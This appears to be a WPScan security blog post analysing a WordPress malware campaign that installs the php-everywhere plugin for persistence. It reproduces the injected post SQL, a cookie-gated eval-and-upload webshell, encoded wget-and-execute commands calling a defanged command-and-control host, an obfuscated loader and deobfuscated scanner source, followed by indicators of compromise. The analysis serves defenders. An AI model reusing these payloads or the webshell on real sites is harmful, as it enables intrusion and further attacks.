A persistent twist in the current Malware Campaign

Recently while covering malware campaigns exploiting the LiteCache and WP‑Automatic WordPress plugins, we found that attackers were installing php‑everywhere, a plugin that allows users to run arbitrary PHP code in their site’s posts. This plugin was closed on April 25th per its author’s request.

The reasoning behind this installation was to have persistent malware on the website. In this case, the attacker created multiple posts with the title being the timestamp of the infection, or the hash created by the wp‑automatic exploit, like xtw18387d46f.

INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, 
`comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, 
`post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) 
VALUES (19534,25,'2024-03-25 09:05:09','2024-03-25 09:05:09','<!-- wp:php-everywhere-block/php {\"code\":\"JTNDJTNGcGhwJTIwZmlsZV9wdXRfY29udGVudHMlMjglMjRfU0VSVkVSJTVCJTI3RE9DVU1FTlRfUk9PVCUyNyU1RC4lMjcvNjVmODJhYjQwOGIzLnBocCUyNyUyQ2Jhc2U2NF9kZWNvZGUlMjglMjdQRDl3YUhBZ1pXTm9ieUEwTURrM01qTXFNakE3YVdZb2JXUTFLQ1JmUTA5UFMwbEZXeUprSWwwcFBUMGlYRFl4WEhnek4xdzJNRncyTWx4NE16aGNNVFEyWEhnek5GdzNNRncyTjF3eE5ETmNNVFF5WEhnek1sd3hOREZjTnpCY2VETTBYSGd6Tmx4NE16QmNOamRjZURNMlhEWTBYSGd6Tmx4NE5qUmNNVFF4WERZelhERTBNVnd4TkRSY05qTmNOekJjTmpkY2VETTRYREUwTlZ3eE5ETWlLWHRsWTJodklseDRObVpjZURaaUlqdGxkbUZzS0dKaGMyVTJORjlrWldOdlpHVW9KRjlTUlZGVlJWTlVXeUpwWkNKZEtTazdhV1lvSkY5UVQxTlVXeUpjTVRZMVhERTJNQ0pkUFQwaVhERTJOVng0TnpBaUtYdEFZMjl3ZVNna1gwWkpURVZUV3lKY2VEWTJYREUxTVZ4NE5tTmNlRFkxSWwxYklsd3hOalJjTVRVMVhIZzNNRng0TldaY2VEWmxYSGcyTVZ4NE5tUmNlRFkxSWwwc0pGOUdTVXhGVTFzaVhERTBObHg0TmpsY01UVTBYSGcyTlNKZFd5SmNNVFUyWERFME1Wd3hOVFZjZURZMUlsMHBPMzE5UHo0SyUyNyUyOSUyOSUzQiUzRiUzRQ==\",\"version\":\"3.0.0\"} -->',
'1711357508.99','','publish','closed','closed','','1711357508-99','','','2024-03-25 09:05:09','2024-03-25 09:05:09','',0,'https://target-site.tld/1711357508-99/',0,'page','',0);

The inserted code drops a file into the root directory of the website, which will then listen for requests and evaluate what is sent through it.

<?php file_put_contents($_SERVER['DOCUMENT_ROOT'].'/65f82ab408b3.php',
'<?php echo 409723*20;if(md5($_COOKIE[\"d\"])==\"\1\7\0\2\8\f\4\8\7\c\b\2\a\8\4\6\0\7\6\4\6\d\a\3\a\d\3\8\7\8\e\c\"){echo\"\o\k\";eval(base64_decode($_REQUEST[\"id\"]));if($_POST[\"\u\p\"]==\"\u\p\"){@copy($_FILES[\"\f\i\l\e\"][\"\t\m\p\_\n\a\m\e\"],
$_FILES[\"\f\i\l\e\"][\"\n\a\m\e\"]);}}?>
');?>

We were able to capture some of the post requests of this monitored campaign:

id: c3lzdGVtKCd3Z2V0IGh0dHA6Ly9ib3JhLnBvb2RvLnNpdGUvc3QvZ2V0X2Z0ci50eHQgLU8gaW5jLmNsYXNzLmZ0ci5waHA7IHBocCBpbmMuY2xhc3MuZnRyLnBocCcpOw==
id: c3lzdGVtKCd3Z2V0IGh0dHA6Ly9ib3JhLnBvb2RvLnNpdGUvc3QvZ2V0X3dvb3BmLnR4dCAtTyBpbmMuY2xhc3Mud29vcGYucGhwOyBwaHAgaW5jLmNsYXNzLndvb3BmLnBocCcpOw==

Which once decoded, gives:

system('wget hxxp://bora[.]poodo[.]site/st/get_ftr.txt -O inc.class.ftr.php; php inc.class.ftr.php');
system('wget hxxp://bora[.]poodo[.]site/st/get_woopf.txt -O inc.class.woopf.php; php inc.class.woopf.php');

The code will download two malicious files and then execute them. Both files will call the unlink function as executed to leave no trace. It’s also worth mentioning that they upload a php.ini  file to disable dangerous php functions protection:

safe_mode=offndisable_functions=nupload_max_filesize = 10Mnpost_max_size = 10M

The get_ftr.txt file, dropped as inc.class.ftr.php, uses a common code obfuscation where variables are a mix of capital Os and zeroes, that will be eval’d at the end.

<?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0[3].$O00OO0[6].$O00OO0[33].$O00OO0[30];$O0OO00=$O00OO0[33].$O00OO0[10].$O00OO0[24].$O00OO0[10].$O00OO0[24];$OO0O00=$O0OO00[0].$O00OO0[18].$O00OO0[3].$O0OO00[0]    
        .$O0OO00[1].$O00OO0[24];$OO0000=$O00OO0[7].$O00OO0[13];$O00O0O.=$O00OO0[22].$O00OO0[36]    
        .$O00OO0[29].$O00OO0[26].$O00OO0[30].$O00OO0[32].$O00OO0[35].$O00OO0[26].$O00OO0[30];    
        eval($O00O0O("JE8wTzAwMD0iSGRwZm5zSk9NeUNJdHF1b0x3aVZSRlFFTlRVY0FQallCeG1lbHZrclpiREdTS1d6WGhnYU9JWFBGV29WWUVabWVnTXhxa25ielRKdmlVdEFkTmF3Y1FMbHBHcktqQ3NCUnVoeVNESGZOczlrZk9kdWZoNVhTM2lwSVpIRkNoVDRTMmI0amhpMUlCcEdDcDkwZmgxcG9Fa2t1VVd1Zmg1WFMzaXBJWkhGQ2hiZUMzbzVTMlFYQ2hwMG9Fa0hveXRRWXIwRnVVV3VqQlQwamI5cmpoakRJaFEwUzN6WENoYjZDMjVwUzNpcElaSEZ6U2JFQzNjcHEwZVhqU3dGdVVXdWpGYk13M3pYQzI0SGZPejBBVDlGalN6UHcyOU1JQmJNSU9ZeG9PYkVDWnJIbGt4R3FrcnJ3MjlyalNISE5SY2RqTHBXamI5RmpTelB3MjlNSUJiTUlPWXhvT2JFQ1pyN1puOEdaaHBMbVpEcENTYzBsUkhydzI5cmpTSFh1UmM3Wkhyb29CaXhtczBIdzNiRUNUOVhDTHAwdVpyN1pIcm93M2JFQ1Q5eWpTekdBT0p4b0JpeHFaY3NiYm9ZVTFjdFMxYlJVWmtIb09iRUNacjdabjhHWkpwYUlTb1dTM2lwSUI5a0laSHJ3MkhXbXZpYnRyUU50VHpQUnZiY3p2YlJxWmMwQUZicHVVV3VaSnBhSVNvV1MzaXBJQjlrSVpIcncySFdtdmlidHJRTnRUelB6cjlZVXY5U1V2OXNKYnpvVTA0V21zdlhWa3hvWmhpMUFMUVBBMmIwQzNjMHVaemFmWmtISjFiUlV2OUpiVDlSemJ6YnRyNXR0clRWdDBqVHRua0hZUnI3Wkhyb3czYkVDVDl5alN6R0FPSnhvQml4cVpjc2Jib1lVMWN0UzFpVVVUOWh6Ym9venBwSnp0YlJxWmRrdVVXdVpKcGFJU29XUzNpcElCOWtJWkhydzJIV212aWJ0clFOdFR6UHQxaVlTMWpUdHJwQmh0RE50MUpXbXNkWFZreG9aaGkxQUxRUEEyYjBDM2MwdVp6YWZaa0hKMWJSVXY5SmJUOXNVMDVWenRpdGJ2cGl6dDliYlprSFl5ZFhWa3hvWmhpMUFMUVBBMmIwQzNjMHVaemFmWmtISjFiUlV2OUpiVDl0UnQxVFUxYnRxWmR5WVpyN1pIcm9vT2JFQ1RjRGoydEhOUmNhSVNvV1MyYjRqaFl4b0JpeHVVV3VaSnBhSVNvV1MyaVdDM2lwdVp6YWZacjdaSHJvQUxiMElTb011WnoxQUxRSndoSXB1VVd1cUU4b1BKeEdxa3BwQ09pcG1PV3VxRThvWlNvcElPYkVDbmRydzI5cmpTSDdabjhHWlMwdVBKWExmaFFwUzNjMUlUOWFDMjUwamg1MEFFSEZmaDVhcUxpV3dTaXlxTGowQW41a2ZPZEZxQkQwSU9jUGoyYjBTMmlHQ0Z6cENGenl1Wkl4SU96a1ZuOEd3TDlFd1I1a0MyOXJDRTV5ZlN6cHEzaTBxMklwSVQ5TElPbU1JT0Qwb0VyWFZrWExmaFFwUzNjMUlUOWFDMjUwamg1MEFFSEZDQnB5SVo1MGxPSkZxQkQwSU9jUGoyYjBTMmlHQ0Z6cENGenl1Wkl4SU96a1ZuOEd3TDlFd1I1a0MyOXJDRTV5ZlN6cHEzaTBxMlFYQTNKTUlPRDBvRXJYVmtYTGZoUXBTM2MxSVQ5YUMyNTBqaDUwQUVIRkFMOVdDWjUwbE9KRnFCRDBJT2NQajJiMFMyaUdDRnpwQ0Z6eXVaSXhJT3prVm44R3dMOUV3UjVrQzI5ckNFNXlmU3pwcTNpMHEzb0dDQmtNSU9EMG9FclhWa1hMZmhRcFMzYzFJVDlhQzI1MGpoNTBBRUhGd2g1RkFGck1JT0Qwb0VReElPemtTMklwSVQ5YUMyNTBqaDUwQUVIRmZPejBBc3hHcTJvR0FMdk1BQjlHakI4TUEycDBqUjl5SVo5RENMSUVsUjUwbE9KRnVScjdaRm9wQVNiWEFMYlBDMjVhalJIRkFMOVdDWjUwbE9KRnVVV3VBTGJRSWhwRWpiOUdDTGlwdVpJRENMSUVsUjUwbE9KRnVVV3VqTHBXamI5a0lTelB3MjlNSUJiTUlPWXhvMklwSVQ5TElPbU1JT0Qwb0VrSGZPejBBVDlGalN6UHcyOU1JQmJNSU9ZeG8yRDBJT2Q2cUU5bkMzb0RxRmNHQzJ6R3FGaVhJQnRHajJiMFMyaWVBeWlMSU9tTUFCRGtvRXJYVmtYTEloNWFJQnBHQ25jYXdoUVd3TFRhZjE5TEloNWFJQnBHQ25IckFMYnlBQjlNQTJ0V21aelhDTGpHcVpkckFMYlFJaGJ5SVpySGxreG9maHdIdU9pMEFGY0dBRUhyQUxieUFCOU1BMnRXbVpBOENoYjB3aHpESUJ2K3oyYk1qU29ESUJicm1CbzVtdnBhQzAxR0MyNDhxMjFwSUJUcndTekRObkFYbVp2OU5SY0x3aFF5alJkTG9uY3lJT29rQzNZeG9Pb3BBM2NHQ0ZpcHFaZEZOT3pYSUJRcE5uQVhtczA5bUJqRENPaXB1U1d1WkpyckNCOUZmaDRITlJkbmpGekVtYVd1WkpyckFCVHlBM0lHQUxKSE5SZG5tYVd1WkpwcHcyREdtVGNtdFQ5VFUwa0hxbmRubXMwOU5VMDlOVTA5TlUwOU5VMDlOVTA5TlUwOU5SY0dmeXhITlUwOU5VMDlOVTA5TlUwOU5VMDlOVTA5TlUwOW1aZG5tWjRIb0JwTWpMOUNvM2JFQ1pJSW1aNEhtbmRlbVptSHFuZHJDQjlGZmg0SHFuZG5Wbm1IcW5kckFCVHlBM0lHQUxKSHFuZG5tbmRNbVRjbXRUOVRVMGs3Wkhyb2pMcFdqYjlGalN6UHcyOU1JQmJNSU9ZeG8yRDBJT2Q2cUU5bkMzb0RxRmNHQzJ6R3FGaVhJQnRHdzIxeVlFNWtmT2QvSTJ0OW9FNW53U2lwaWF6UGpoNWFDMnpwdVp6WENMakdoRUkxQUxrRlNSck1vRWpMalUwRnFMb0RBMnQyaVQ5cENMaUdqQnR4bzJwTXdFNWFDQlR5QUU1TElPbU1BQkRrb0VyTW9FamFDVTBGcUxvREEydDJpVDlwQ0xpR2pCdHhveVlGdVI0Rm9GaVdOUkFNd0xUeWpVdzBTMmJNdzI5cmpSSHJDQjlGZmg0WHFuQUxBM2Q5b0U1bndTaXBpYXpQamg1YUMyenB1Wnprd1NpeUkyOUVqWnJYVmt4b1poSUdJQjhIamg1clZreG9QSnhvamg1clZIeG9BTGIwSVNvTVZrWDlabnpjSkVkOW1CNXBJRWNjQ0xJRWx0aTFBTGt4bzJpRENCUW53aGlLUzJqMUNMaTBmaDlNb0VyN1puOEdvdlRzcVU1WENMcDBTMmlHQ0ZpR0NCdHh1VVd1b3ZUc3FVNVdDMlRyUzNieWpTb0RqMmJNSVQ5V2ZTaTB1WklXZlNpMHFGejRJWkFYVmt4cmpuZDltQmpHQUJiTXVaSUZqU3pQakZ6RXFGejRJWkFXbVpJRW9FcjdaRkl4ZmhRcHVaVExqaDlMdVp6THVSckhsa3hvb09iRUNaZDltT3pFZmgweGpMSXBJT1l4b0J3WHVVV3VaUnpjSkUwK2oyYjB1WnoxQUxrWFZrWDlabjhHSTJEWENCdHhtaGpwQzJ3eG9Cd1h1UmM3Wm44R1pSejFBTGtITlJjMEFMcGV1QmpGalN6eXVaekx1UnI3Wm44R1pSemtDM2kwUzNjREFuZDltWm9ESVN6eE5SdEVZWmpRTlV2TGZoNTBqaEE5d3l6YXdVSkVZeUREWUJtNVlhWTRZYWNydzJZMVlzcERpTHczaVVIMFZobW5Wa3hHcWtyckp0WWVORmNHQTNKeG9PYkVDWmtIb09jR0EzelBBQlRFdVVXdXFFOTlabnpjSkUwK2pTRHB3M2IwalJIMVlacjdaRmJNQ0JwTWZFSEZqMmIwUzJqMEFuNTBsT0pGdVVXdUEzcHlJQmJldVpJa2ZPZEhmaDVhcUxpV3dTaXlxTGowQW41a2ZPZEZ1VVd1Tnk0PSI7ICAKICAgICAgICBldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCAgICAKICAgICAgICAkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));?>

The deobfuscated code can be seen below:

<?php
ini_set('max_execution_time',0);
ini_set('memory_limit', '512M');
date_default_timezone_set('Europe/Kiev');
function http_get_contents($url) {
//	$codex = @file_get_contents($url);
//	if (empty($codex)) {
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
//		curl_setopt($ch, CURLOPT_HEADER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
		curl_setopt($ch, CURLOPT_TIMEOUT, 30);
		$urlPage = curl_exec($ch);
		curl_close($ch);
		return($urlPage);
//	}
//	else {
//		return $codex;
//	}
}
file_put_contents('inc.class.ftr.php',http_get_contents('hxxp://bora[.]poodo[.]site/st/get_ftr.txt'));
file_put_contents('list.txt',http_get_contents('hxxp://bora[.]poodo[.]site/st/list.txt'));
file_put_contents('roll.txt',http_get_contents('hxxp://bora[.]poodo[.]site/st/roll.txt'));
file_put_contents('angry.txt',http_get_contents('hxxp://bora[.]poodo[.]site/st/angry.txt'));
require_once('roll.txt');
require_once('angry.txt');
file_put_contents('get_ftr.txt', http_get_contents('hxxp://bora[.]poodo[.]site/get_cms3ftr.php'));
function callback_function($response, $info, $request) {
	if (strpos($response, '<metadata>Generated by IcoMoon</metadata>') !== false && strpos($response, '<title>') == false){
		$login = "ftr";
		$password = "";
		echo PHP_EOL . " ===================== ok: =====================  " . $info['url'] . " - " . $login . ":" . $password . "" . PHP_EOL;
		file_get_contents('hxxp://bora[.]poodo[.]site/cms3.php?we='.base64_encode($info['url']).'&fe='.base64_encode('inc.class.ftr.php').'&cm='.base64_encode('3').'&sl='.base64_encode($login).'&sp='.base64_encode($password));
		goto end;
	}
	end:
	return;
}
$AC = new AngryCurl('callback_function');
//$AC->init_console();
$AC->load_useragent_list('list.txt');
$f = fopen('get_ftr.txt', 'r');
while(!feof($f)) {
	$url = trim(fgets($f));
	$AC->get($url);
}
//while(!feof($f)) {
//	$url = trim(fgets($f));
//	$post_par = "auth=%20&q=1&integ=c4ca4238a0b923820dcc509a6f75849b";
//	$AC->post($url, $post_par);
//}
$AC->execute(50);
unlink('get_ftr.txt');
system('php inc.class.ftr.php');
?>

The malware will drop five files:

  1. A version of itself that attacks other vulnerabilities. 
  2. A list of user‑agents to be used by the malware.
  3. RollingCurl –  a more efficient implementation of curl_multi() curl_multi is a great way to process multiple HTTP requests in parallel in PHP.
  4. Anonymized Rolling Curl class
  5. The list of URLs that will be targeted by the malware. By its structure, the malware is looking for vulnerable Forminator versions, probably the ones vulnerable to Unauthenticated Arbitrary File upload.

Once the malware downloads all the files, it then starts to scan the list of URLs and sends the data to the Command and Control server containing the information for further attacks.

As the scan is finished the malware will remove the auxiliary file containing the URLs and execute another version of the malware that will be looking for the presence of a vulnerable version of the Essential Blocks plugin.

Indicators of Compromise

Here you will find all the potential indicators of compromise that help identify this attack:

  • The php‑everywhere plugin is present.
  • Suspicious posts containing no or minimal content containing the php‑everywhere‑block
  • Zombie PHP processes running on the server pointing to inc.class.ftr.php, inc.class.essbl.php, or any other similar file (inc.class.*.php).
  • Strange files appear in the website’s root directory.

Posted by

Get News and Tips From WPScan